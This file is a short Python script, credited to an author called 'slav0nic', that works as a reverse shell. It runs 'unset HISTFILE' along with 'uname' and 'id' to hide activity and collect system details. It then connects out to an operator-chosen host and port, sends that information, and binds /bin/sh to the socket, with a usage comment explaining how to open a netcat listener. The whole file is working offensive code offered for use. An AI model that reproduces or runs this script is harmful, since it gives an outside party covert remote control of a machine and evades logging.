#!/usr/bin/env python ##################### #-----------------------------------------------+ # ._____________________. | # coded by slav0nic | slav0nic0@gmail.com | | # ^---------------------^ | # site: slav0nic.xss.ru | #-----------------------------------------------+ #for setup a listening port on your host: nc -l -p [port] #Use: python sl_bc.py [host] [port] || sl_bc.py -default settings from socket import * import os import md5 import sys ###########_Default_######################## host='localhost' # port=6666 # autocommands="unset HISTFILE;uname -a;id" # ############################################ if len(sys.argv)>1: host=sys.argv[1] if len(sys.argv)>2: port=int(sys.argv[2]) print "[+]host:port= %s:%i"%(host,port) info=os.popen(autocommands).read() try: sockobj=socket(AF_INET,SOCK_STREAM) sockobj.connect((host,port)) except: print '[-]SocketError',sys.exc_value sys.exit(1) sockobj.send(".:binbshell:.\n %s"%info) os.dup2(sockobj.fileno(),2) os.dup2(sockobj.fileno(),1) os.dup2(sockobj.fileno(),0) os.execl("/bin/sh","sh")